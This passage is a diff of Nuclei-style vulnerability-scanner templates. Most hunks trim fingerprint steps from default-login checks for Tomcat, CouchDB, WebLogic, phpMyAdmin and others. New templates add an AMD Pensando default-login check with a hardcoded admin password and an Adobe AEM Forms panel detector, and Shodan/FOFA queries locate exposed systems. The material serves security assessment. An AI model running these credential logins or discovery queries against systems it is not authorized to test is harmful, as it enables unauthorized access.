    Update to the latest firmware version or apply vendor recommended patches to secure Telnet access.
  classification:
@@ -16,16 +19,12 @@ info:
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    cvss-score: 9.8
  metadata:
+    verified: true
    vendor: guralp_systems
-    product: guralp_fmus_series_seismic_monitoring_devices
-    shodan-query:
-      - '"Welcome to " "list of available commands" port:4244'
-    fofa-query:
-      - '"Welcome to " && "list of available commands" && port="4244"'
-  reference:
-    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-212-01
-    - https://www.cve.org/CVERecord?id=CVE-2025-8286
-  tags: ics,cve,cve2025,tcp,telnet
+    product: fmus_series_seismic_monitoring_devices
+    shodan-query: '"Welcome to " "list of available commands" port:4244'
+    fofa-query: '"Welcome to " && "list of available commands" && port="4244"'
+  tags: cve,cve2025,tcp,network,telnet,guralp,ics

 tcp:
  - host:
@@ -70,3 +69,4 @@ tcp:
        group: 1
        regex:
          - "Firmware\\s+Version:\\s+([\\d\\.\\-]+)"
+# digest: 490a0046304402202bb9c49bbd0a1f29f07003eb92c55fb261c7030b56a1761d548c7bb5939690c002203e8f3a50a253c5f031c332404f3ce89192f3c5cd946f682e98099545e91f0440:922c64590222798bb761d5b6d8e72950
@@ -11,28 +11,13 @@ info:
  classification:
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
-    max-request: 406
+    max-request: 405
    vendor: apache
    product: tomcat
    shodan-query: title:"Apache Tomcat"
  tags: tomcat,apache,default-login

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET /manager/html HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "Apache Tomcat"
-          - "401 Unauthorized"
-        condition: or
-        internal: true
-
  - raw:
      - |
        GET /manager/html HTTP/1.1
@@ -112,4 +97,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022014b1f7373f6234c1e716b897b463f45bfedd9588d7abb22a6a4577c172ea046c02206e613fe8061440118b01ad3c0e2082b24cceef0d0d1a47091a192dfaf5052421:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e84eea473f5a26acd73d3fa52a2313875a2b12036279307754a5d6334878555f02203bf43e6e31a50b26746f330f163310d323977d0f4d1a3286d65e33001c72bb8d:922c64590222798bb761d5b6d8e72950
@@ -13,29 +13,13 @@ info:
    cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 17
+    max-request: 16
    fofa-query: app="APACHE-CouchDB"
    product: couchdb
    vendor: apache
  tags: default-login,couchdb,misconfig

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "CouchDB"
-          - "couchdb"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        POST /_session HTTP/1.1
@@ -78,4 +62,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220418f142b0c17deadbcca49680c0f77af0b71e94351565d5d913a0b6edb45166d022100a558f04bd8a7aaf1ba63dd40d299357e8d93c90bacd693468f0105b252b758a5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d41fe63a1719a36020dc89e8d527fafbdc4ea358fe68ee11ed3cc9128bba3da702204ba287978e05ef95f2b912019e77e826ca52e23edf0dc1aa8eb8ec0cc2f278fd:922c64590222798bb761d5b6d8e72950
@@ -10,28 +10,13 @@ info:
    cpe: cpe:2.3:a:esafenet:cdg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 33
+    max-request: 32
    vendor: esafenet
    product: cdg
    fofa-query: esafenet
  tags: esafenet,cdg,default-login

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/CDGServer3/"
-
-    matchers:
-      - type: word
-        words:
-          - "CDGServer"
-          - "Esafenet"
-        condition: or
-        internal: true
-
-  - method: POST
  - method: POST
    path:
      - "{{BaseURL}}/CDGServer3/SystemConfig"
@@ -71,4 +56,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100dbb1e3763bac4714c6e98021f7b0088b44b7fafd297456d8f694ea534d4cd8b402205f33a958ba9b1bdaa7e887d7cca1f829961314f9836aafa5c2ce91ba82ffca2a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022068cba10046c09e2a034a03b38b53eb8c48b520d9804570e752a173c07a6f68de022100c42248c90b2159982cca65e722a5b0f3deee60a58a6eee01f1f9f2ffa8eb6311:922c64590222798bb761d5b6d8e72950
@@ -15,27 +15,11 @@ info:
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
-    max-request: 13
+    max-request: 12
    shodan-query: 'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
  tags: default-login,goip,gsm

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "GoIP"
-          - "Please Authenticate"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /default/en_US/status.html HTTP/1.1
@@ -69,4 +53,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220702869520441981bbfcbcded596a9addd522d8173b17a3d7975d848214125f2f022100df57dc852aca88466633f374a29a4b1fcf845035840b3ae5aa87c76f9700d74d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100edaa56f00e761afe08029701663c8bca34d197fdcc8b6ad11e6759a0fbb1f6ba02203cfa23c422bdf01b12145252e2bfe96e91682786e8f90945e75f3ac675a2d183:922c64590222798bb761d5b6d8e72950
@@ -14,29 +14,13 @@ info:
    cpe: cpe:2.3:a:redhat:jbpm:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 13
+    max-request: 12
    shodan-query: html:"JBossWS"
    product: jbpm
    vendor: redhat
  tags: jboss,jbpm,default-login

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "JBoss"
-          - "jbpm"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /jbpm-console/app/tasks.jsf HTTP/1.1
@@ -80,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100e63415d826455103202795b50a05da6af73dd81b774baebf354760424a561520022100bdbbb9739cf9e1ef03dfe81736056ee29444d3c45d4032a5bc6708fde156fbba:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206bc2245878efdc91ce2512783f73bdccd76514b18752320fc6cbdafc04ac6473022100dd20db771bd2bfc7c6b7bbd90ef34c623cac835238699c9f1bf47a716353970e:922c64590222798bb761d5b6d8e72950
@@ -12,26 +12,10 @@ info:
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
-    max-request: 29
+    max-request: 28
  tags: jboss,jmx,default-login

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "JBoss"
-          - "jmx-console"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /jmx-console/ HTTP/1.1
@@ -64,4 +48,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220384c491bed43c8a581dcc34c2bbcc8c1e350fe1250fd826351d70d0b831249c402201a319fa39e1e32e5882fc84a4988c2ade223110e79c5e7780bc2fefa4bb927d4:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220728df52a03a943c3462efe699e175432849df21b7d3df67dd0fbf21e09961c570220768ef32aae8aedbbaca820965cde2670b762518f3aace9d48db736b6880db5da:922c64590222798bb761d5b6d8e72950
@@ -15,28 +15,13 @@ info:
    cpe: cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 201
+    max-request: 200
    shodan-query: title:"Oracle PeopleSoft Sign-in"
    product: peoplesoft_enterprise_peopletools
    vendor: oracle
  tags: default-login,peoplesoft,oracle,fuzz

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-
-    matchers:
-      - type: word
-        words:
-          - "PeopleSoft"
-          - "Oracle"
-        condition: or
-        internal: true
-
-  - method: POST
  - method: POST
    path:
      - "{{BaseURL}}/psc/ps/?&cmd=login&languageCd=ENG"
@@ -100,4 +85,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a00473045022100bba4e4dc667b6a04e72c3262a3734076141cfdfa4dd2321a370d3bb0ed585bcc02201b90b07f21254c8a0d4426767639251f2ec2716b53d94f069ad752065addc3f2:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201fdcc6379d4ef3ba86c63b56cf8e058304820e636ea25a3b3ed3c5e5f798a66002205c2b86feaa9befea9856c54db112b5c9f62ddc3158ec22173a2a5cd35d9726d1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,50 @@
+id: pensando-default-login
+
+info:
+  name: AMD Pensando PSM  - Default Login
+  author: tpierru
+  severity: high
+  description: |
+    The AMD Pensando Policy and Services Manager used a default password for the admin account.This allowed instances to be accessed using the default credentials.
+  reference:
+    - https://www.amd.com/en/solutions/data-center/networking.html
+    - https://arubanetworking.hpe.com/techdocs/Pensando/AMD_Pensando_PSM_for_DSS_Guide-1.72.1-T.pdf
+  metadata:
+    verified: true
+    fofa-query: icon_hash="1907840597"
+  tags: pensando,default-login
+
+variables:
+  username: 'admin'
+  password: 'Pensando0$'
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - 'contains(body,"<title>AMD Pensando PSM</title>")'
+          - 'status_code == 200'
+        condition: and
+
+  - raw:
+      - |
+        POST /v1/login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"username":"{{username}}","password":"{{password}}","tenant":"default"}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(body, "\"name\":\"admin\"")'
+          - 'contains(content_type, "application/json")'
+        condition: and
@@ -14,29 +14,13 @@ info:
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 17
+    max-request: 16
    shodan-query: http.title:phpMyAdmin
    product: phpmyadmin
    vendor: phpmyadmin
  tags: default-login,phpmyadmin

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "phpMyAdmin"
-          - "phpmyadmin"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /index.php HTTP/1.1
@@ -92,4 +76,4 @@ http:
          - status_code_2 == 302
          - contains(header_2, 'index.php?collation_connection=utf8mb4_unicode_ci') || contains(header_2, '/index.php?route=/&route=%2F')
        condition: and
-# digest: 4a0a00473045022038a1ab30c31196ddc1edbc910a39c188c63fc5b33382ae46959c949be6ac8031022100b9122b7ddb6e5803618633c5f882bc227c75c2f8927333650ff7f82314868443:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d02c59dfe090e128568200bc929b6e51c6db84a5a2594cc440792096ad8402d3022100d2eeda885e43d9493f1d81ddc8ea77f7b6ced9abb4c3347bbf61f14ac2649858:922c64590222798bb761d5b6d8e72950
@@ -13,27 +13,10 @@ info:
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
-    max-request: 17
+    max-request: 16
  tags: default-login,weblogic,vulhub

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "WebLogic"
-          - "Oracle"
-          - "console"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /console/ HTTP/1.1
@@ -79,4 +62,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 490a00463044022028c592d8b82db6a1ab5f8e983de3e9d9f4e0858a2c47159bb342be7bd7bd9b2f02201db17b7da5c8771212ebe56d7302626d18e95bc798c8207e46ba38fd49b65fe9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100deb7a387ad6d121d371ab3d8a6426b4a5d0c99945f7f1d379adc654a86b792d0022038f1c71653428ebe327d89b4f37e87eb26d993baef6e59b931e6d6150e194f8b:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code==200 && contains(tolower(body), "<title>ackee")'
          - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
        condition: or
-# digest: 4a0a0047304502204ccfb9437a66e42a45bf88de87bf8a0a4df050e2658a971a056dfded101f591e022100fb297c5cf93e89cd69fff2a5a1e3f76e6fad27370fe60a61ad3f2818d033319a:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201d84c5e0343edfb6baac1de03eaea904ddbb6a78a6f533bd27224cc8184067ea02204457e81f69d4de73a05d90f7c11626f40f627bcb3707481b17ea14a56cd50db2:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4b0a0048304602210096a50ffa60da5df9053cf9bef9c8e2b848495cd4b0da2de3100209518e13304d022100bcbbbb4bbc31edd12c5dab1745d6bff907b9c1c8e77208bacba535eabd669cc6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100edc5ba9a4d6d23e3d8d539a3cdd47b68e3f53b65f1893e12864f3f8bb14e0b6b0220661f69d1c0a3e16a3e170ef476141c661d5334bd2c45ae041b773dbcfbf4d83b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,30 @@
+id: aem-forms-panel
+
+info:
+  name: Adobe Experience Manager Forms - Panel
+  author: darses
+  severity: info
+  description: |
+    Adobe Experience Manager Forms was discovered.
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: adobe
+    product: experience_manager_forms
+  tags: panel,login,adobe,detect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lc/libs/livecycle/core/content/login.html"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<title>Adobe Experience Manager forms</title>"
+        case-insensitive: true
+
+      - type: status
+        status:
+          - 200
@@ -37,4 +37,4 @@ http:
        group: 1
        regex:
          - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4b0a00483046022100925486af1630d8c84c4c91da39267064a6191676fd2bac9b119b47358b271aa8022100b06bddc4b90014222c6b8044b808d8b0935f6eba38b8c6f888e336ce138d918f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e9b02f91ca846573e8bf690e92e061b12ee917d9c1dd8fdc3710251379ed6448022100c5e2a5903f7a07d052d36ae34b5bee9b76b513b32dc629763967674c9745e091:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        group: 1
        regex:
          - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a00473045022100c2c8e7f2fb2c207dd24453efc5217c31382a046438b1f2e6a5645be0ec637509022011edb847a91bc2cf5bf644e039b16149788d269b3197f91b8697c539f6d3bfc1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a863cd77b95bd1cec8963fdf046111fe97db6f863957f74bafc7f34bdf669b75022100f52962064db93f0b536a7aa4b4cb89b1ca1992158e10fd1578f1a9f2721dc3bc:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'Version:?\s+([0-9.]+)'
-# digest: 4a0a0047304502203139de43edc1be585839c754bfdd05565d86948f7ff0a540d7c9f843c88115a4022100db223860b04ecdd483cddf91140f73a003a8cae5511f004590c842435da1aad7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009277fe423d2c3c86478bfb72825ccb505db2359ac298edb42c9d3c0eb204e03f022100f050b4eab6e17a2fc23612e7518f3a1b97261060d8eea9f51d1aaa371d063c01:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "title=\"blue yonder\"")'
        condition: and
-# digest: 4a0a00473045022033a7fadce88f0c465a6a82a189a6c708533f1f070820e76761fa3f97db45c91702210094173e38e9b41e49e64f4db832f51098629f46fbadd5718d5b66668226d163fb:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022023006b05a6e72e8253684c2ee3cb344d8013e784f0f46fc4517aa7c538e695ee022046b7a0aa4e54b45c19dfb2e58204547cd830efb1c143beca8ccf9e59bb209bce:922c64590222798bb761d5b6d8e72950